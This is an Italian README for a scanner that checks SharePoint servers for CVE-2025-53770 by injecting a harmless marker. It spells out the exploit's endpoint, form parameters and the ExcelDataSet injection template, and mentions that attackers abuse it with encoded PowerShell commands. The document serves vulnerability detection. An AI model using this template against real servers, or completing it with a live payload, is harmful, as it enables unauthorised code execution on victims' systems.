
Scanner per la vulnerabilità zero day RCE CVE-2025-53770 di SharePoint.
Questo è uno scanner per la vulnerabilità di esecuzione remota di codice non autenticata di SharePoint, con numero CVE CVE-2025-53770. Il codice è stato scritto tramite reverse engineering di un payload visto in natura.
Usalo a tuo rischio, non sono responsabile per eventuali impatti negativi che potrebbe causare.
Tenta di sfruttare la vulnerabilità iniettando un marcatore nel widget SharePoint ToolBox. Se nella risposta del server SharePoint viene trovato questo marcatore innocuo, l'host viene contrassegnato come vulnerabile.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Chiunque esegua la versione on-prem del server SharePoint senza KB5002768 e KB5002754.
La vulnerabilità si basa presumibilmente su una vulnerabilità precedentemente divulgata per SharePoint, CVE-2025-49706.
Inviando una richiesta HTTP POST a https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con un payload compresso in GZIP e codificato in BASE64, è possibile ottenere l'esecuzione remota di codice come processo runtime di SharePoint.
Due parametri del form sono importanti qui:
MSOTlPn_Uri: Percorso di origine del controlloQuesto finge di fare riferimento a un controllo SharePoint legittimo (AclEditor.ascx) e inganna SharePoint per consentire la modifica della web part.
Sembra essere un valore fittizio solo per superare la convalida.
Il payload malevolo originale include MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, ma questo non sembra essere utilizzato a questo punto.
MSOTlPn_DWP: Configurazione web part.Questo parametro inietta direttive ASP.NET personalizzate (<%@ Register %>) e markup lato server (<Scorecard:ExcelDataSet>).
Il parametro CompressedDataTable contiene dati serializzati controllati dall'attaccante (GZIP + base64), innescando la RCE.
Questo payload segue una certa struttura:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Se esiste un controllo come Scorecard:ExcelDataSet e la sua proprietà CompressedDataTable è impostata, viene deserializzato direttamente dal parser DWP di SharePoint.
Il payload stesso può essere piuttosto interessante, poiché può contenere un System.DelegateSerializationHolder che innesca una RCE da deserializzazione.
Gli attori delle minacce hanno abusato di questo per passare /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> nel loro payload per ottenere l'esecuzione di codice.
Nel nostro caso, passiamo semplicemente un segnaposto statico per dimostrare la sfruttabilità;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>